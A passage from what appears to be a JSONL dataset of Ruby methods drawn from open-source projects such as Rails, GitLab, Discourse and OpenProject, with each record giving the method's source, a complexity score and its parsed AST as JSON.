we want to return unread chunks.\n if @property_cursors[prop_name].present?\n unread = @tracked[prop_name][@property_cursors[prop_name]..]\n @property_cursors[prop_name] = @tracked[prop_name].length\n unread\n else\n # Ints and bools, and arrays are always returned as is.\n @tracked[prop_name]\n end\n end","complexity_score":29.9,"ast_json":"{\"type\":\"def\",\"children\":[\"read_buffered_property\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prop_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@partial_json_tracker\"]},\"broken?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@done\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type_map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prop_name\"]},\"to_sym\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Utils\"]},\"BestEffortJsonParser\"]},\"extract_key\",{\"type\":\"ivar\",\"children\":[\"@raw_response\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type_map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prop_name\"]},\"to_sym\"]}]},{\"type\":\"lvar\",\"children\":[\"prop_name\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracked\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"prop_name\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@property_cursors\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"prop_name\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unread\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracked\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"prop_name\"]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@property_cursors\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"prop_name\"]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@property_cursors\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"prop_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracked\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"prop_name\"]}]},\"length\"]}]},{\"type\":\"lvar\",\"children\":[\"unread\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracked\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"prop_name\"]}]}]}]}]}","id":"8c827f32-aea8-4377-8f31-a3ac0c2fac2f"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/inject.rb","start_line":91,"raw_source":"def initialize\n super\n @_inject_enabled = false\n @_inject_hostname_key = nil\n @_inject_hostname = nil\n @_inject_worker_id_key = nil\n @_inject_worker_id = nil\n @_inject_tag_key = nil\n @_inject_time_key = nil\n @_inject_time_formatter = nil\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@_inject_enabled\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_inject_hostname_key\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_inject_hostname\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_inject_worker_id_key\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_inject_worker_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_inject_tag_key\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_inject_time_key\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_inject_time_formatter\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"47a90341-5bc5-4ffb-873d-a32e43fe2ec8"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/spec/support/pages/taskboard.rb","start_line":58,"raw_source":"def expect_work_package_not_visible(work_package)\n expect(page)\n .to have_no_content(work_package.subject)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_work_package_not_visible\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"subject\"]}]}]}]}","id":"69ded2de-5d10-4d79-9e63-0c9ddf3885f6"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/projects/creator_service.rb","start_line":26,"raw_source":"def adding_the_creator_as_owner_in_a_personal_project?\n # this condition is reached during testing setup a lot due to use of `.add_member`\n member.project.personal_namespace_holder?(member.user)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"adding_the_creator_as_owner_in_a_personal_project?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member\"]},\"project\"]},\"personal_namespace_holder?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member\"]},\"user\"]}]}]}","id":"12fdfa26-42b0-454c-9f70-fa68a2148961"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/campfire.rb","start_line":85,"raw_source":"def auth\n # use a dummy password, as explained in the Campfire API doc:\n # https://github.com/basecamp/campfire-api#authentication\n @auth ||= {\n basic_auth: {\n username: token,\n password: 'X'\n }\n }\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"auth\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@auth\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"basic_auth\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[null,\"token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"str\",\"children\":[\"X\"]}]}]}]}]}]}]}","id":"d23ea708-6f9a-4bcb-a910-db2c3a95ec40"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/application/test_runner_test.rb","start_line":1495,"raw_source":"def exercise_parallelization_regardless_of_machine_core_count(with:, threshold: 0, transactional_fixtures: true)\n file_content = ERB.new(<<-ERB, trim_mode: \"-\").result_with_hash(with: with.to_s)\n ENV[\"RAILS_ENV\"] ||= \"test\"\n require_relative \"../config/environment\"\n require \"rails/test_help\"\n\n class ActiveSupport::TestCase\n # Run tests in parallel with specified workers\n parallelize(workers: 2, with: :<%= with %>, threshold: #{threshold})\n self.use_transactional_tests = #{transactional_fixtures}\n\n # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.\n fixtures :all\n end\n ERB\n\n app_path(\"test/test_helper.rb\") do |file_name|\n File.write(file_name, file_content)\n end\n end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"exercise_parallelization_regardless_of_machine_core_count\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"with\"]},{\"type\":\"kwoptarg\",\"children\":[\"threshold\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"kwoptarg\",\"children\":[\"transactional_fixtures\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_content\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" ENV[\\\"RAILS_ENV\\\"] ||= \\\"test\\\"\\n\"]},{\"type\":\"str\",\"children\":[\" require_relative \\\"../config/environment\\\"\\n\"]},{\"type\":\"str\",\"children\":[\" require \\\"rails/test_help\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" class ActiveSupport::TestCase\\n\"]},{\"type\":\"str\",\"children\":[\" # Run tests in parallel with specified workers\\n\"]},{\"type\":\"str\",\"children\":[\" parallelize(workers: 2, with: :<%= with %>, threshold: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threshold\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\" self.use_transactional_tests = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transactional_fixtures\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.\\n\"]},{\"type\":\"str\",\"children\":[\" fixtures :all\\n\"]},{\"type\":\"str\",\"children\":[\" end\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trim_mode\"]},{\"type\":\"str\",\"children\":[\"-\"]}]}]}]},\"result_with_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with\"]},\"to_s\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_path\",{\"type\":\"str\",\"children\":[\"test/test_helper.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"file_name\"]},{\"type\":\"lvar\",\"children\":[\"file_content\"]}]}]}]}]}","id":"8f495d43-06f9-4a84-94ff-a7e52abb0137"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/chronic_duration.rb","start_line":74,"raw_source":"def parse(string, opts = {})\n result = calculate_from_words(cleanup(string, opts), opts)\n !opts[:keep_zero] && result == 0 ? nil : result\n end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"calculate_from_words\",{\"type\":\"send\",\"children\":[null,\"cleanup\",{\"type\":\"lvar\",\"children\":[\"string\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"keep_zero\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"61a8fc1b-0f51-4a39-a0bf-70daed921174"} {"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/shared_example_group.rb","start_line":260,"raw_source":"def ensure_block_has_source_location(block)\n source_location = yield.split(':')\n block.extend(Module.new { define_method(:source_location) { source_location } })\n end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_block_has_source_location\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source_location\",{\"type\":\"send\",\"children\":[{\"type\":\"yield\",\"children\":[]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"extend\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"source_location\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"source_location\"]}]}]}]}]}]}","id":"e7e4858a-e1d1-48f2-91e3-474419e916f9"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/lfs_object_importer.rb","start_line":16,"raw_source":"def lfs_download_object\n LfsDownloadObject.new(oid: lfs_object.oid, size: lfs_object.size, link: lfs_object.link,\n headers: lfs_object.headers)\n end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"lfs_download_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LfsDownloadObject\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"oid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lfs_object\"]},\"oid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lfs_object\"]},\"size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lfs_object\"]},\"link\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lfs_object\"]},\"headers\"]}]}]}]}]}","id":"92ba9f90-87d2-41fc-b7d1-ef2318ac0f96"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/github_integration/db/migrate/tables/deploy_targets.rb","start_line":34,"raw_source":"def self.table(migration)\n create_table migration do |t|\n t.text :type, null: false\n t.text :host, null: false, index: { unique: true }\n t.jsonb :options, null: false, default: {}\n\n t.timestamps\n end\n end","complexity_score":6.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}]}","id":"cae97726-a14e-434b-94a5-9abdaecdd4d4"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/signed_tag.rb","start_line":75,"raw_source":"def signature_text\n signature_data&.fetch(0)\n end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"signature_text\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"signature_data\"]},\"fetch\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"c00c7361-ac74-4699-a462-adf6b3ccdc1c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/gitaly_setup.rb","start_line":73,"raw_source":"def config_name(service)\n case service\n when :gitaly\n 'config.toml'\n when :gitaly2\n 'gitaly2.config.toml'\n when :praefect\n 'praefect.config.toml'\n end\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"config_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitaly\"]},{\"type\":\"str\",\"children\":[\"config.toml\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitaly2\"]},{\"type\":\"str\",\"children\":[\"gitaly2.config.toml\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"praefect\"]},{\"type\":\"str\",\"children\":[\"praefect.config.toml\"]}]},null]}]}","id":"bee43e86-7f10-42c8-b36c-b7eea028c158"} {"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/common/extended_progress_bar.rb","start_line":8,"raw_source":"def initialize(max_progress: nil)\n @max_progress = max_progress\n\n @skip_count = 0\n @warning_count = 0\n @error_count = 0\n @extra_information = +\"\"\n\n @base_format = nil\n @progressbar = nil\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"max_progress\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@max_progress\",{\"type\":\"lvar\",\"children\":[\"max_progress\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@skip_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@warning_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@error_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@extra_information\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@base_format\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@progressbar\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"51c55d8e-651a-410d-9c53-91637ef39569"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":1128,"raw_source":"def test_handles_relative_paths\n get :index, params: { form_path: \"post_one\" }\n\n form_token = assert_presence_and_fetch_form_csrf_token\n\n # This is required because PATH_INFO isn't reset between requests.\n @request.env[\"PATH_INFO\"] = \"/per_form_tokens/post_one\"\n assert_nothing_raised do\n post :post_one, params: { custom_authenticity_token: form_token }\n end\n assert_response :success\n end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_handles_relative_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"form_path\"]},{\"type\":\"str\",\"children\":[\"post_one\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"form_token\",{\"type\":\"send\",\"children\":[null,\"assert_presence_and_fetch_form_csrf_token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"PATH_INFO\"]},{\"type\":\"str\",\"children\":[\"/per_form_tokens/post_one\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"post_one\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_authenticity_token\"]},{\"type\":\"lvar\",\"children\":[\"form_token\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]}]}]}","id":"62c756df-7c49-4647-830b-b9d50be7c76f"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/url_for_test.rb","start_line":405,"raw_source":"def test_only_path\n with_routing do |set|\n set.draw do\n get \"home/sweet/home/:user\", to: \"home#index\", as: :home\n\n ActionDispatch.deprecator.silence do\n get \":controller/:action/:id\"\n end\n end\n\n # We need to create a new class in order to install the new named route.\n kls = Class.new { include set.url_helpers }\n controller = kls.new\n assert_respond_to controller, :home_url\n assert_equal \"/brave/new/world\",\n controller.url_for(controller: \"brave\", action: \"new\", id: \"world\", only_path: true)\n\n assert_equal(\"/home/sweet/home/alabama\", controller.home_path(user: \"alabama\", host: \"unused\"))\n assert_equal(\"/home/sweet/home/alabama\", controller.home_path(\"alabama\"))\n end\n end","complexity_score":30.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_only_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_routing\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"set\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"home/sweet/home/:user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"home#index\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"sym\",\"children\":[\"home\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"deprecator\"]},\"silence\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\":controller/:action/:id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"kls\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set\"]},\"url_helpers\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"controller\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kls\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_respond_to\",{\"type\":\"lvar\",\"children\":[\"controller\"]},{\"type\":\"sym\",\"children\":[\"home_url\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/brave/new/world\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"brave\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"new\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"world\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/home/sweet/home/alabama\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"home_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"alabama\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"str\",\"children\":[\"unused\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/home/sweet/home/alabama\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"home_path\",{\"type\":\"str\",\"children\":[\"alabama\"]}]}]}]}]}]}","id":"58b2a113-f1c5-438a-b57a-b09d9ccb4df9"} {"repo_name":"mastodon","file_path":"./repos/mastodon/spec/requests/well_known/host_meta_spec.rb","start_line":20,"raw_source":"def xrd_link_template_value\n response\n .parsed_body\n .at_xpath('/xrd:XRD/xrd:Link[@rel=\"lrdd\"]/@template', 'xrd' => 'http://docs.oasis-open.org/ns/xri/xrd-1.0')\n .value\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"xrd_link_template_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"parsed_body\"]},\"at_xpath\",{\"type\":\"str\",\"children\":[\"/xrd:XRD/xrd:Link[@rel=\\\"lrdd\\\"]/@template\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"xrd\"]},{\"type\":\"str\",\"children\":[\"http://docs.oasis-open.org/ns/xri/xrd-1.0\"]}]}]}]},\"value\"]}]}","id":"0f6ca1e7-8846-4445-a0d5-faaa3485d81e"} {"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/cache_fetcher_test.rb","start_line":127,"raw_source":"def test_fetch_lock_attempt_interrupted_with_cache_invalidation\n cache_fetcher.expects(:sleep).never\n backend.expects(:cas).returns(false).with do |got_key|\n other_cache_fetcher.delete(key)\n key == got_key\n end\n other_client_operations = 1\n assert_memcache_operations(2 + other_client_operations) do # add (lock), get (lock), excludes mocked cas\n assert_equal(:fill_data, cache_fetcher.fetch(key, fill_lock_duration: 0.9) { :fill_data })\n end\n assert_equal(IdentityCache::DELETED, backend.read(key))\n 